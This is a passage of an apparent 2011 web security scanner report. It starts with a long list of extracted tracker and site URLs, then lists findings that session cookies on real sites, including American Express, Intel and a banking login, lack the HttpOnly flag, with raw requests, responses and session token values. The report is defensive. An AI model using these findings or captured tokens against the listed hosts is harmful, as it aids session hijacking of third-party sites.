http://b.voicefive.com/b
http://baselinemag.us.intellitxt.com/al.asp
http://baselinemag.us.intellitxt.com/intellitxt/front.asp
http://blogmarks.net/
http://blogs.splunk.com/
http://bookmarks.yahoo.com/
http://bs.serving-sys.com/BurstingPipe/BannerRedirect.asp
http://bs.serving-sys.com/BurstingPipe/BannerSource.asp
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://buzz.yahoo.com/
http://buzzport.gatech.edu/
http://c03.adsummos.net/a/e/d1.ads
http://c03.adsummos.net/a/e/s21719
http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html
http://clk.redcated/229/go/253329229/direct
http://clk.redcated/MRT/go/258547606/direct/01/
http://clk.redcated/MRT/go/264255445/direct
http://clk.redcated/MRT/go/267859374/direct
http://clk.redcated/go/264255445/direct
http://clk.redcated/go/267859374/direct
http://corp.americanexpress.com/gcs/travel/us/
http://counter.yadro.ru/hit
http://d.mediabrandsww.com/r/dd/id/L21rdC8zL2NpZC8xNzk2NjkwL3QvMg/cat/267859374-193167493/qry/
http://del.icio.us/post
http://delicious.com/
http://developer.yahoo.com/yui/
http://developer.yahoo.com/yui/license.html
http://developers.facebook.com/plugins/
http://digg.com/
http://digg.com/submit
http://download32.us.intellitxt.com/al.asp
http://download32.us.intellitxt.com/intellitxt/front.asp
http://dslshop.vodafone.de/eshop/pv/97444194
http://eas.statcamp.net/eas
http://edge.quantserve.com/quant.js
http://eisenstein.dk/loader/qt.php
http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252
http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252
http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s29905151680577
http://friendfeed.com/
http://fusion.google.com/add
http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d
http://hiltonworldwide1.hilton.com/en_US/ww/customersupport/privacy-policy.do
https://home.americanexpress.com/home/corporations.shtml
https://home.americanexpress.com/home/global_splash.html
https://home.americanexpress.com/home/mt_personal.shtml
http://i.w55c.net/rs
http://idcs.interclick.com/Segment.aspx
http://idpix.media6degrees.com/orbserv/hbpix
http://imp.constantcontact.com/imp/cmp.jsp
http://imp.constantcontact.com/imp/cmp.jsp
http://info.riministreet.com/50percentsavings.html
http://lct.salesforce.com/
https://lct.salesforce.com/
http://leadback.advertising.com/adcedge/lb
http://load.exelator.com/load/
http://map.media6degrees.com/orbserv/hbpix
http://messenger.yahoo.com/
http://metrics.blackberry.com/b/ss/rimglobal,rimbbus/1/H.22.1/s28855670725461
http://metrixlablw.customers.luna.net/p10833/tagger_v03.php
http://metrixlablw.customers.luna.net/p10833/tagger_v03.php
http://mittelstandsblog.de.intellitxt.com/intellitxt/front.asp
http://mittwiki.ivwbox.de/blank.gif
http://mittwiki.ivwbox.de/cgi-bin/ivw/CP/blog
http://mm.chitika.net/minimall
http://mm.chitika.net/track
http://msdn.microsoft.com/en-us/library/ms537509(VS.85
http://myweb2.search.yahoo.com/myresults/bookmarklet
http://orthoinfo.aaos.org/
http://owneriq.postaffiliatepro.com/scripts/track.php
http://pixel.33across.com/ps/
http://pixel.intellitxt.com/pixel.jsp
http://pixel.quantserve.com/pixel
http://px.owneriq.net/cm
http://px.owneriq.net/oxcm
http://px.owneriq.net/p
http://qooxdoo.org/
http://quotes.forexyard.com/quotes2.js
http://rt32.infolinks.com/action/doq.htm
http://rt82.infolinks.com/action/doq.htm
http://rt83.infolinks.com/action/doq.htm
https://sb.voicefive.com/b
http://segment-pixel.invitemedia.com/pixel
http://sourceforge.net/projects/winscp/
http://splunkbase.splunk.com/account:session/
http://spongecell.com/api/widgets/clickthrough/263365
http://statse.webtrendslive.com/dcsjpsizt10000o69qvsmy5ls_9m8u/dcs.gif
http://survey.questionmarket.com/noauth/ktag_log.php
http://tags.bluekai.com/site/2956
http://tools.cisco.com/search/display
http://track2.mybloglog.com/js/jsserv.php
http://tracker.icerocket.com/services/gatherer.php
http://tracker.icerocket.com/services/gatherer.php
http://tracker.icerocket.com/services/gatherer.php
http://tracker.icerocket.com/services/gatherer.php
http://tracker.icerocket.com/services/gatherer.php
http://tracker.icerocket.com/services/gatherer.php
http://tracker.icerocket.com/services/gatherer.php
http://tracker.icerocket.com/services/gatherer.php
http://tracker.icerocket.com/services/gatherer.php
http://tracker.icerocket.com/services/gatherer.php
http://tweetmeme.com/story/3866851775/
http://us.blackberry.com/assets_refresh/images/dropNavArrow.png
http://vegetarian.about.com/od/soupsstewsandchili/r/hotandsour.htm
http://whitepixel.com/backend/remote/
http://www.active-srv02.de/werbemittel/WebObjects/werbemittel.woa/wa/ads
http://www.addthis.com/bookmark.php
http://www.alistapart.com/articles/taminglists/
https://www.americanexpress.com/airlines-credit-card/
https://www.americanexpress.com/credit-card-rewards/
https://www.americanexpress.com/gift/giftcardslanding.shtml
https://www.americanexpress.com/gold-card/
https://www.americanexpress.com/no-annual-fee-credit-cards/
http://www.au2m8.com/favicon.ico
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/index.php
http://www.au2m8.com/v/index.php
https://www.blackberry.com/partnerzone/Forward.action
https://www.blackberry.com/partnerzone/Login.action
http://www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video
https://www.box.net/
http://www.care2.com/news/
http://www.cisco.com/ipj/
http://www.cisco.com/warp/public/707/newsflash.html
http://www.codero.com/dedicated-server-hosting/
http://www.digitalia.be/
http://www.facebook.com/
http://www.facebook.com/BlackBerry
http://www.facebook.com/BlackBerryES
http://www.facebook.com/BlackBerryFR
http://www.facebook.com/BlackBerryNL
http://www.facebook.com/BlackBerryUK
http://www.facebook.com/BlackBerryZA
http://www.facebook.com/Craig.Marshall.Deutschland
http://www.facebook.com/ajouli1
http://www.facebook.com/americanexpress
http://www.facebook.com/dcmoncayo
http://www.facebook.com/fabianomorige
http://www.facebook.com/laprincesita.inigulable
http://www.facebook.com/marytere.medina
http://www.facebook.com/pages/Kledyde/344540630304
http://www.facebook.com/pages/OrthoSuperSitecom/296664256434
http://www.facebook.com/pages/Orthopaedic-Trauma-Association/212018968439
http://www.facebook.com/pages/OwnerIQ/54446991004
http://www.facebook.com/pages/Tipd/39630264367
http://www.facebook.com/pointeresortsaz
http://www.facebook.com/search/
http://www.facebook.com/uschi.eller
http://www.facebook.com/vibrantmedia
http://www.fbi.gov/nipc/welcome.htm
http://www.forex-direkt.de/
http://www.forexyard.com/css/quotes-chart.cssbdb85
http://www.fotoatelier-berlin.de/
http://www.godaddy.com/default.aspx
http://www.googleadservices.com/pagead/aclk
http://www.googleadservices.com/pagead/aclk
http://www.googleadservices.com/pagead/conversion/1033198129/
http://www.hyves.nl/
http://www.itbusinessedge.com/info/gglprojmgmtbeta.aspx/x26display_url=ITBusinessEdge.com/x26google_click_url=http:/googleads.g.doubleclick.net/aclk
http://www.itbusinessedge.com/info/gglprojmgmtbeta.aspx</TEMPLATE_FIELD>
http://www.linuxsecurity.com/
http://www.live.com/
http://www.livejournal.com/
http://www.membershiprewards.com/
http://www.membershiprewards.com/HomePage.aspx
http://www.membershiprewards.com/catalog/earn/default.aspx
http://www.membershiprewards.com/catalog/landing/open/Default.aspx
http://www.mybloglog.com/links/
http://www.myfitnesspal.com/nutrition-facts-calories/bjs
http://www.netvibes.com/
http://www.newsvine.com/
http://www.nmworkwear.de/
http://www.nmworkwear.de/index.php
http://www.omniture.com/
http://www.openforum.com/
https://www.openforum.com/
http://www.ortho.hyperguides.com/
http://www.outblush.com/|http:/www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/
http://www.plurk.com/
http://www.pointehilton.com/toolkit/presentation/shell/hpportal/assets/default.css
http://www.protopage.com/
http://www.rackspace.com/apps/email_hosting/exchange_hosting/
http://www.reddit.com/
http://www.sitejot.com/
http://www.splunk.com/download
http://www.splunk.com/index.php/download_track
http://www.splunk.com/page/securelink/signup/Splunk_Company_Overview
http://www.splunk.com/page/securelink/signup/Splunk_Executive_Brief
http://www.splunk.com/page/securelink/signup/Splunk_Product_Datasheet
http://www.splunk.com/page/securelink/signup/Splunk_and_MapReduce
http://www.splunk.com/page/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence
http://www.stumbleupon.com/
http://www.stylemepretty.com/|http:/stylehive.com|http:/stylelist.com|http:/www.outblush.com/|http:/www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/
http://www.surveymonkey.com/s/5HNX2M3
http://www.tel-inform.com/
http://www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944
http://www.terra.com.mx/default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944
http://www.traffictrack.de/tracking/mpr.php
http://www.tuenti.com/
http://www.vodafone.de/ptc/setCookie
http://www.whselfinvest.de/banner/whsbanner.php
http://www.wtp101.com/pixel
http://www.youtube.com/americanexpress
http://www.youtube.com/embed/208T0-OLXA8
http://www.youtube.com/embed/5aWd_-x1oPE
http://www.youtube.com/watch
http://www.zanox-affiliate.de/tpv/
https://www134.americanexpress.com/consumertravel/travel.do
https://www152.americanexpress.com/premium/credit-card-travel-insurance/home.do
https://www209.americanexpress.com/merchant/mainpagedom/authreg_showMainpage.do
https://www217.americanexpress.com/cards/home.do
https://www217.americanexpress.com/cards/shopping/index.jsp
http://www91.intel.com/b/ss/intelcorp,intelappdeveloper,intelcorpsw/1/H.20.3/s73248818481806
http://x.ligatus.com/blank.gif
http://x.ligatus.com/cgi-bin/ivw/CP/9470-215/83-692/83873-62519-_82053-58543-_83885-57091-//
http://x.ligatus.com/cgi-bin/ivw/CP/9470-215/83-692/84069-53009-_83885-57091-_84615-61457-//
http://yasnide.ivwbox.de/blank.gif
http://yasnide.ivwbox.de/cgi-bin/ivw/CP/hp-ano
http://youmob.com/
http://ypn-js.overture.com/
http://zap.mookie1.com/1/vibrantmedia/RadioshackLeadQ1/201101Q1/1/1/1${TIMESTAMP}@x90
http://zh-hans.splunk.com/
http://zh-hant.splunk.com/
http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21695681395940
http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21706094634719
http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s29366180438082

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

15.1. http://66.29.38.208/log.jsp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://66.29.38.208
Path:	/log.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=abcVlqF-RDKD_8Ubzi33s; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /log.jsp?siteid=12&rand=36384 HTTP/1.1
Host: 66.29.38.208
Proxy-Connection: keep-alive
Referer: http://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Resin/3.0.21
Cache-Control: private
ETag: "4PfeyaaRLAb"
Last-Modified: Fri, 08 Sep 2006 17:52:46 GMT
Set-Cookie: JSESSIONID=abcVlqF-RDKD_8Ubzi33s; path=/
Content-Type: image/gif
Content-Length: 43
Connection: close
Date: Sat, 05 Feb 2011 18:42:08 GMT

GIF89a.............!.......,...........D..;

15.2. http://about.americanexpress.com/cr/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://about.americanexpress.com
Path:	/cr/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ASPSESSIONIDASDBDTQR=LDHHNHDCIPFCPCJINCAFLEBD; path=/
BIGipServerAXAboutUs_Public=3725306048.20480.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /cr/ HTTP/1.1
Host: about.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 37517
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Expires: Sat, 05 Feb 2011 21:50:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 21:50:51 GMT
Connection: close
Set-Cookie: ASPSESSIONIDASDBDTQR=LDHHNHDCIPFCPCJINCAFLEBD; path=/
Set-Cookie: BIGipServerAXAboutUs_Public=3725306048.20480.0000; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...

15.3. http://ads.adxpose.com/ads/impression.js previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://ads.adxpose.com
Path:	/ads/impression.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=7E69101147A34B6B00D14757D8B00E8B; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ads/impression.js HTTP/1.1
Host: ads.adxpose.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=7E69101147A34B6B00D14757D8B00E8B; Path=/
ETag: "0"
Cache-Control: must-revalidate, max-age=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/javascript;charset=UTF-8
Content-Length: 9
Date: Sat, 05 Feb 2011 22:42:44 GMT
Connection: close

// no ads

15.4. http://appdeveloper.intel.com/en-us/join previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://appdeveloper.intel.com
Path:	/en-us/join

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESS5a5e2306769d28180c45e44dbead8572=be7a4e884222cc6fa4ab1f17533bad8a; expires=Tue, 01-Mar-2011 01:23:49 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en-us/join HTTP/1.1
Host: appdeveloper.intel.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 21:50:29 GMT
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Set-Cookie: SESS5a5e2306769d28180c45e44dbead8572=be7a4e884222cc6fa4ab1f17533bad8a; expires=Tue, 01-Mar-2011 01:23:49 GMT; path=/
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 21:50:29 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Set-Cookie: loginpt=0
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
xml:lang="en" lang="en" dir="ltr">
...[SNIP]...

15.5. https://axptravel.americanexpress.com/consumertravel/travel.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://axptravel.americanexpress.com
Path:	/consumertravel/travel.do

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=00000VUtlq7n518J8DPTSEC_QvW:15a6nn9du; Path=/; Secure
SaneID=10.10.14.1-1296942630588713; Path=/; expires=Tue, 09-Feb-16 21:50:30 GMT; domain=.americanexpress.com, troute=w511; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/;domain=.americanexpress.com
NSC_nf3-x-sx-duouswm-b=ffffffff97a3d13a45525d5f4f58455e445a4a42bbfd;path=/
sroute=386796042.58404.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /consumertravel/travel.do HTTP/1.1
Host: axptravel.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.6. http://baselinemag.us.intellitxt.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://baselinemag.us.intellitxt.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=E7B165A3FC1D5B0A74756CBDC197A8CE; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: baselinemag.us.intellitxt.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-; VM_PIX="AQAAAAwAAArrAQAAAAMAAAEt98vDoAAAAS332v9sAAABLffbZhUAAArYAQAAAAIAAAEt99r/bAAAAS3322YVAAAK6gEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAKywEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAK6QEAAAACAAABLffa/2wAAAEt99tmFQAACugBAAAAAQAAAS33y8OgAAAPpgEAAAACAAABLffa/2wAAAEt99tmFQAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAnwCngQ--";

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=E7B165A3FC1D5B0A74756CBDC197A8CE; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Content-Type: text/html
Content-Length: 176
Date: Sun, 06 Feb 2011 16:00:34 GMT
Connection: close

<html>
<head></head>
<body>
Redirecting to http://www.vibrantmedia.com/
<script language=javascript>
document.location.href="http://www.vibrantmedia.com/";
</script>
</body>

15.7. http://blog.vibrantmedia.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://blog.vibrantmedia.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDQADSARBD=CEDGFMCCFKAPMLCDHAIIHEPD; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: blog.vibrantmedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 36022
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDQADSARBD=CEDGFMCCFKAPMLCDHAIIHEPD; path=/
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:45:44 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Vibrant - The Leaders of Contex
...[SNIP]...

15.8. http://channelmarketing.owneriq.com/rmb-account/login-page previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://channelmarketing.owneriq.com
Path:	/rmb-account/login-page

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=kt1uph07r6rvoff2tchko0efd3; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /rmb-account/login-page HTTP/1.1
Host: channelmarketing.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.9. https://cibng.ibanking-services.com/cib/CEBMainServlet/Login previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://cibng.ibanking-services.com
Path:	/cib/CEBMainServlet/Login

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessionId=nullCookie; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.10. http://corp.americanexpress.com/gcs/cards/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://corp.americanexpress.com
Path:	/gcs/cards/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ASP.NET_SessionId=mzrsjm55ziqng1au1tmzi545; path=/
SaneID=173.193.214.243-25629229680629; path=/; expires=Sat, 05-Feb-16 21:50:31 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /gcs/cards/ HTTP/1.1
Host: corp.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.11. http://corp.americanexpress.com/gcs/cards/land/compare.aspx previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://corp.americanexpress.com
Path:	/gcs/cards/land/compare.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ASP.NET_SessionId=q0nfjsmlal0n1l45z4jzte55; path=/
SaneID=173.193.214.243--17320946710097; path=/; expires=Sat, 05-Feb-16 21:50:33 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /gcs/cards/land/compare.aspx HTTP/1.1
Host: corp.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.12. http://dailyme.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://dailyme.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

DMSession=mta7v9iqenkhb3clgekkekl847; expires=Wed, 06-Feb-2036 04:47:24 GMT; path=/
CakeCookie[DMWelcome]=1296946044; expires=Mon, 07-Mar-2011 22:47:24 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: dailyme.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.13. http://download32.us.intellitxt.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://download32.us.intellitxt.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=ED259F275B4DF68A893132CB65AC345C; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: download32.us.intellitxt.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY";

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=ED259F275B4DF68A893132CB65AC345C; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Content-Type: text/html
Content-Length: 176
Date: Sat, 05 Feb 2011 21:51:04 GMT
Connection: close

<html>
<head></head>
<body>
Redirecting to http://www.vibrantmedia.com/
<script language=javascript>
document.location.href="http://www.vibrantmedia.com/";
</script>
</body>

15.14. http://ecal.forexpros.com/e_cal.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://ecal.forexpros.com
Path:	/e_cal.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=a6o1kn0utu76227b6d1n8dnmd0; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /e_cal.php?duration=daily&top_text_color=FFFFFF&top_bg=4E505C&header_text_color=ffffff&header_bg=838893&bg1=FFFFFF&bg2=ECECEC&border=CEDBEB HTTP/1.1
Host: ecal.forexpros.com
Proxy-Connection: keep-alive
Referer: http://dws1.etoro.com/ApplicationServices/Calendar/?rows=13&cid=1&pid=1&URL=http%3A//www.etoro.com/B1025_A19968_TClick.aspx
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

15.15. http://etfdb.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://etfdb.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=gjvvrs2l67ha5pldm6dmbvpve3; path=/

